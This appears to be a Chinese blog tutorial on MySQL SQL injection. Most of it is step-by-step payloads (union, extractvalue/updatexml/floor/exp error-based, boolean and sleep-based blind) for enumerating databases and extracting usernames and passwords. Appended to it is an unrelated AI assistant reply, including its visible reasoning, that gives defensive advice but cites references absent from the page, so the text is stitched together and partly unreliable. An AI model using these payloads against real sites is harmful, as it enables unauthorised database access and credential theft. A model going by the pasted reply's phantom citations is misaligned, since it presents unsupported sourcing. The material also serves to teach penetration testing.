Mysql注入—union联合注入、报错注入、布尔盲注、时间盲注

本文详细介绍了SQL注入的各种方法,包括Union注入、报错注入和布尔盲注,以及如何利用这些技术获取数据库信息。通过示例展示了如何判断注入点、获取数据库列数、显示位、表名、列名和数据,同时讲解了报错注入中的XPath、floor和其他函数利用。最后,阐述了时间盲注的原理和应用,提供了获取数据库信息的步骤。

Union联合注入

判断是否存在注入,判断注入点类型
参考另一片博文———>> 渗透技巧——手动判断注入点(思维导图)

1.获取数据库中信息:判断列数

1 order by 1 --+
1 order by n --+

备注:判断列数可以使用“二分法”:及一分为二的方法,设[a,b]为R的闭区间,逐次二分法就是造出如下的区间序列([an,bn]):
a0=a,b0=b,且对任一自然数n,[an+1,bn+1]或者等于[an,cn],或者等于[cn,bn],其中cn表示[an,bn]的中点。

2.获取数据库中的信息:判断数据显示位

-1 union select 1,2 --+

备注:这里使用-1使之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句。

尝试在显示位输入需要查询下的语句或函数

-1 union select version(),user() --+

常用函数:参考另一篇博文——>> mysql数据库常用函数(渗透测试专用)

3.获取数据库中信息:查看数据库表
首先我们要先了解information_schema库

  • SCHEMATA表:当前Mysql中的所有数据库信息。show databases命令:命令从这个表获取数据。
  • TABLES表:数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储类型、存储引擎、创建时间等信息。show tables from database命令:从这个表获取结果。
  • COLUMNS表:存储表中的列信息,包括表有多少列、每个列的类型等。show columns from tablename命令:从这个表获取结果。
-1 union select 1,schema_name from information_schema.schemata --+     查询数据库名 
-1 union select 1,table_name from information_schema.tables where table_schema ='数据库名'#     查询表名

4.获取数据库中的信息:获取列名

-1 union select 1,column_name from information_schema.columns where table_name='表名' and table_schema ='数据库名'#

5.获取数据库中信息:查看账号密码信息
查询数据 union select 字段名,字段名 from 表名 #

字符串拼接常用函数

  • concat():将多个字符串连接成一个字符串 例子:select concat(‘M’,‘y’,‘S’,‘Q’,‘L’)
  • concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符 例子:select concat_ws(’_’,‘M’,‘y’,‘S’,‘Q’,‘L’)
  • group_concat():将多行结果连接成一组 例子:select group_concat(user) from user;
  • limit 0,1 从第一行开始,展示一行数据。 limit 0,2 从第一行开始,展示两行数据
例子:在users表中查找admin 和password值并且中间用_隔开
-1 union select group_concat(admin,'_',password) from users#     

报错注入

  • 报错注入 (Error-based injuction),就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
  • 正常用户访问服务器发送id信息返回正确的id数据,报错注入就是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入

1.XPATH报错注入:

extractvalue(arg1,arg2)

  • 接受两个参数,arg1:XML文档,arg2:XPATH语句
  • 条件:mysql5.1及以上版本
  • 标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))
  • 返回结果:XPATH syntax error.’~root@localhost~’

updatexml(arg1,arg2,arg3)

  • arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
  • 条件:mysql5.1.5及以上版本
  • 标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)
  • 返回结果:XPATH syntax error:’~root@localhost~’

注意:XPATH报错注入的使用条件是数据库版本符合条件;extractvalue()和updatexml()有32位长度限制。
解决办法:用substr()函数截取前后部分 例如:
and extractvalue(1,concat(0x7e,substr((select database()),1,5))) %23

2.floor报错注入

  • floor()函数的作用是返回小于等于该值的最大整数,只返回arg1整数部分,小数部分舍弃
  • 条件:mysql 5.0及以上版本
  • 标准payload:
    and(select 1 from (select count(*),concat(user(),floor(rand(0)*2)) as x from information_schema.tables group by x) as y)
  • 结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’

floor()报错注入准确的说应该是floor、count、group by 冲突报错,count(*)、rand()、group by 三者缺一不可

  • floor()——取整数
  • rand()——在0和1之间产生一个随机数
  • rand(0)*2——将取0-2的随机数
  • floor(rand()*2)——有两条记录就会报错
  • floor(rand(0)*2)——记录需为3条以上,且3条以上必报错,返回的值是有规律的
  • coun(*)——用来统计结果,相当于刷新一次结果
  • group by——在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入,存在的话conunt(*)加1,在使用group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

3.其他常用报错注入:

列名重复报错

  • 条件:name_const()函数在低版本中可以支持5.0,但是再高版本5.1+中就不支持了
  • 说明:nameconst(name,value),当用来产生一个结果集合列时,name_const()促使该列使用给定名称
  • 标准payload :
    and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;

整形溢出报错注入

  • 条件:mysql5.5.5及以上版本
  • 说明:exp是以e为底的指数函数,由于数字太大会产生溢出。该函数会在参数大于709时溢出,产生报错
  • 标准payload:and exp(~(select * from(select user())a))

几何函数报错注入

  • 条件:高版本MySQL无法得到数据
  • 相关函数:geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()
  • 说明:函数对参数要求时形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
  • 标准payload:1' and multipoint((select * from(select * from(select user())a)b));

使用报错注入获得数据库信息的过程

  • 1.查看数据库版本:
1 and extractvalue(1,concat(0x7e,(select version()),0x7e)) #
  • 2.查看数据库名字:
1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
  • 3.查看数据库中有多少个表:
1 and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
  • 4.查看数据库有哪些表:
1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #
  • 5.查看表里面有哪些列名:
1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'table_name' limit 0,1),0x7e)) #
  • 6.查看表里面的数据:
1 and extractvalue(1,concat(0x7e,(select group_concat(列名) from 数据库名.表名),0x7e)) #

布尔盲注

  • 布尔型盲注是SQL盲注的一种,就是再进行SQL注入的时候,WEB页面仅返回true或false
  • 布尔型盲注会根据web页面返回的true或false信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

布尔盲注相关函数

substr()、substring()、mid()

  • 说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的
  • 使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度
  • 表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。
  • 举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)

length()

  • 说明:获取字符串长度
  • 使用方法:length(arg1),arg1代表字符串
  • 举例:数据库名字为:users
  • 执行命令:select length(database()); 结果:5(数据库长度为5)

ascii() 、ord()

  • 说明:将单一字符,转化为ascii码值
  • 使用方式:ascii(str),str代表字符
  • 举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)

left()

  • 说明:返回具有指定长度的字符串的左边部分。
  • 使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。
  • 举例:执行命令:数据库名为 users select left(database(),3) 结果为:use

regexp()

  • 说明:利用正则表达式查询匹配
  • 使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始
  • 自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;

使用布尔盲注获得数据库信息的过程

  • 1.获得数据库的长度
    说明:通过页面回显判断数据库名长度
    举例:数据库名为security
and (length(database()))>7 →有回显,说明数据库长度>7
and (length(database()))>8 →无回显,说明数据库长度<=8
and (length(database()))=8 →有回显,说明数据库长度=8
  • 2.获得数据库名
    说明:通过改变n和m获取数据库的字符
    方法:and ascii(substr(database(),n,1))=m (n为位数,m为ascii码值)
    举例:数据库名为security
and ascii(substr(database(),1,1))=97→无回显,说明数据库名第一位的ascii码不是97
and ascii(substr(database(),1,1))=115→有回显,说明数据库名第一位的ascii码是115
  • 3.获取数据库的表个数
    方法:and (select count(*) from information_schema.tables where table_schema=database())>n
    改变n的值,并结合页面回显判断表的个数
    举例:如下案例有回显说明数据库中有4个表
and (select count(*) from information_schema.tables where table_schema=database())=4    
  • 4.获得数据库表名长度
    方法:and (select length(table_name) from information_schema.tables where table_schema = database() limit n,1)>m
    需要用limit来限制表的个数,每次读取一个表。
    举例:如下有回显,说明数据库中,第一张表的长度为6位。
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=6
  • 5.获得数据库表名
    方法:用limit限制表的个数和字符的个数
    and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1)))=z
    举例:如下有回显,说明数据库中,第一张表的第一个字符ascii码值<100
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
  • 6.获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)1,1)))>100 #
  • 7.获得数据
and (ascii (substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=68 #

时间盲注

相关函数

sleep()

  • 说明:sleep(int1)用来捕获到执行迅速不易被查看到的语句以确定我们的程序是否确实再服务器端发起了该语句,int1是中断的时间,单位是秒
  • 语句:select if(1=1,sleep(3),'goodbye') 结果1=1成立,延时3秒

benchmark()

  • 说明:benchmark(arg1,arg2)用来测试一些函数的执行速度,arg1是执行的次数,arg2是要执行的函数或者表达式。与sleep()函数基本一样,但是当sleep()不能使用时,可以使用benchmark()函数
  • 语句:select if(1=1,benchmark(5000000,md5('abc')),'goodbye') 结果1=1成立,页面延迟x秒显示,根据机器性能不同,执行时间不同

if()

  • 说明:条件判断
  • 使用方法:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果
  • 举例:数据库名字为users
  • 执行命令:select if(length(database())>0,'true','false'); 结果:true(数据库长度为5为,大于0)

case when else end;

  • 说明:CASE 函数允许根据筛选条件,当与第一个条件符合时返回一个值。
  • 适用场景:适用于一个条件判断有多种值分别执行不同的操作的场景。
  • 使用方法:case arg1 when true then arg2 else 0 end; arg1代表判断的条件,arg2是条件为真返回的结果
  • 举例: case length(version())>10 when 1 then sleep(3) else 0 end; 当版本长度大于10时,睡眠3秒,其他条件返回0.

时间盲注获得数据库的基本过程:

  • 1.获得数据库名的长度,通过页面显示的时间判断数据库名长度
and if((length(database())>5),sleep(5),1)#
and if((length(database())=6),sleep(5),1)#
  • 2.获得数据库名,通过改变n和m依次获取数据库的字符
and if((ascii(substr(database(),n,1))=m),sleep(5),1)#
  • 3.获取数据库表名(同理先获取长度)
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)#
  • 4.获取数据库列名
and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100,sleep(5),1)#
  • 5.获取数据
and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)#
<think>首先,用户的问题是:“我想查找SQL注入报错union的解决方案 请问SQL注入报错包含union的解决办法”。这是在询问关于SQL注入中涉及报错union的解决方案。 用户提到了“SQL注入报错union”,这似乎结合了两种SQL注入类型:一种是报错注入(error-based SQL injection),另一种是联合注入union-based SQL injection)。从引用中: - 引用[1]提到SQL注入可以分为union注入(有回显信息)、报错注入(通过报错信息推导)、布尔盲注(通过真/假值判断)。 - 引用[2]讨论了union联合查询。 - 引用[3]提到MysqlUNION联合注入报错注入。 所以,用户可能在问当SQL注入涉及报错union时如何解决或防御。 用户真正的问题是:如何解决SQL注入报错包含union的问题。意思是,当攻击者使用union注入报错注入时,如何防范。 在系统指令中,我需要使用中文回答,结构清晰,逐步解决问题,并保证真实可靠。此外,必须生成相关问题,并在回答末尾添加它们。 关键点: - **SQL注入类型**:用户混淆了“报错union”,但从引用看,报错注入union注入是两种不同的类型。报错注入利用数据库抛出错误消息来提取信息,而union注入利用UNION操作符来合并查询结果。 - **解决方案**:通用的SQL注入防御方案包括: - 使用参数化查询(prepared statements)。 - 输入验证过滤。 - 最小权限原则。 - 错误消息处理(不要显示详细错误)。 - Web应用防火墙(WAF)。 具体到union报错注入: - **Union注入**:防御方法是禁止用户输入直接拼接SQL语句;使用参数化查询可以有效防止。 - **报错注入**:隐藏或自定义错误消息,避免返回数据库详细错误。 用户说“SQL注入报错包含union”,可能意味着攻击中同时使用了报错union技术。但从描述看,union注入通常有回显,而报错注入不一定。所以,防御策略可以涵盖两者。 回答结构: 1. **解释问题**:简要澄清SQL注入的类型用户提到的部分。 2. **提供解决方案**:逐步列出防御措施。 - 步骤1:使用参数化查询或存储过程。 - 步骤2:输入验证净化。 - 步骤3:错误处理(抑制详细错误)。 - 步骤4:其他安全实践。 3. **引用来源**:自然地添加引用标识,如[^1],基于用户提供的引用。 引用[1]描述注入类型,[2]讨论union注入,[3]提到union报错注入。需要在回答中引用相关部分。 4. **生成相关问题**:在末尾添加3-5个相关问题,使用“§§相关问题§§”格式。 相关问题想法: 1. 什么是SQL注入的常见类型? 2. 如何检测SQL注入漏洞? 3. 参数化查询如何防止SQL注入? 4. 报错注入的具体防御方法? 5. 真实世界中SQL注入的案例? 最后,确保语言是中文,使用LaTeX格式行内数学表达式,但这个问题没有数学,所以可能不需要。如果有数学,用$...$。 现在,草拟回答: - 先澄清:SQL注入报错union是不同的类型。报错注入利用错误消息,而union注入利用UNION关键字。 - 解决方案:防御SQL注入的核心是避免SQL语句拼接。 完整回答框架: 1. 引言:解释用户查询。 2. 解释union注入报错注入。 3. 提供防御策略。 4. 添加相关问题。 </think>### SQL注入中涉及报错UNION的解决方案 您的查询关注于SQL注入中涉及报错(error-based)UNION联合注入union-based)的防御方法。SQL注入是一种常见的安全漏洞,攻击者通过恶意SQL语句操纵数据库查询。从您提供的引用中,UNION注入通常在有回显信息时使用(例如,用户名或密码在页面显示),而报错注入则在无回显时依赖数据库错误消息推导信息[^1]。两者可能组合使用,例如攻击者先触发报错来探测漏洞,再使用UNION提取数据[^3]。解决此类问题的核心是通过代码级防护配置优化来阻断输入拼接。以下是基于安全最佳实践的逐步解决方案,确保防御真实可靠(参考OWASP数据库安全指南)。 #### 步骤1: **使用参数化查询或预编译语句(核心防御方法)** 参数化查询(prepared statements)能有效防止SQL注入,因为它将用户输入视为数据而非SQL代码部分。这适用于所有SQL注入类型,包括报错UNION注入。 - **为什么有效**:参数化查询避免了SQL语句的拼接,攻击者无法插入UNION报错函数(如`extractvalue()`)。 - **实现示例**(以MySQL/PHP为例): ```php // 错误方式:直接拼接输入,易受注入攻击 $sql = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "'"; // 正确方式:使用参数化查询 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); ``` 在引用[2]中提到的UNION注入(如`-1' union select 1,2--+`),参数化查询会忽略`union`作为恶意代码,因为它只处理输入值而非语句结构。类似地,报错注入(如引用[3]的`extractvalue()`函数)也无法执行[^2][^3]。 #### 步骤2: **强化输入验证过滤** 对用户输入进行严格验证,限制允许的字符范围类型,减少注入风险。尤其针对UNION报错相关的关键字(如`UNION`, `SELECT`, `extractvalue`,`floor()`)。 - **最佳实践**: - **白名单验证**:只允许预期字符(例如,ID字段应为整数,使用正则表达式过滤非数字)。 ```python # Python示例:验证输入是否为整数 import re user_input = request.GET.get('id', '') if not re.match(r'^\d+$', user_input): return "Invalid input" # 拒绝非整数输入 ``` - **转义特殊字符**:在无法使用参数化查询时,对引号、分号等进行转义(但优先考虑步骤1)。例如,在引用[3]的报错注入中,攻击者使用`0x7e`等十六进制编码,转义机制可阻止此类编码被解析[^3]。 #### 步骤3: **配置错误处理最小权限** 报错注入依赖数据库详细错误消息,因此需隐藏错误信息并限制权限。 - **错误处理**: - 在生产环境中禁用详细错误回显。配置Web框架(如PHP或ASP.NET)返回通用错误页面,而非数据库错误细节。 - 例如,PHP中设置`display_errors = Off`在`php.ini`文件中。 - 自定义错误日志:记录错误到文件但不显示给用户,避免攻击者利用引用[1]所述的“报错注入”推导数据库结构[^1]。 - **数据库权限**: - 应用数据库账户应遵循最小权限原则(例如,只授予SELECT权限,禁止DROP或ALTER)。这样,即使注入成功,攻击者也无法执行敏感操作。 - 在引用[2]的UNION注入中,攻击者试图获取`information_schema.tables`信息;限制权限可阻止访问系统表[^2]。 #### 步骤4: **部署额外防护层** 作为补充,实施多层防御以覆盖边缘情况。 - **Web应用防火墙(WAF)**:配置WAF规则(如ModSecurity)检测拦截常见注入模式(如`UNION SELECT`或报错函数)。 - **定期漏洞扫描**:使用工具(如SQLMap)测试应用是否存在注入点,参考引用[3]的案例模拟攻击验证防护效果[^3]。 - **代码审计安全编码培训**:确保开发人员了解注入风险(OWASP Top 10)。 #### 总结 SQL注入涉及报错UNION的解决方案聚焦于预防输入拼接:优先使用参数化查询(步骤1),辅以输入验证(步骤2)错误抑制(步骤3)。这些方法覆盖了引用中描述的UNION注入(有回显)报错注入(无回显),能有效阻断攻击链[^1][^2][^3]。实际应用中,建议从开发阶段集成安全措施,并进行持续监控。如果您的场景涉及特定数据库(如MySQL),可以提供更多细节以细化建议。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值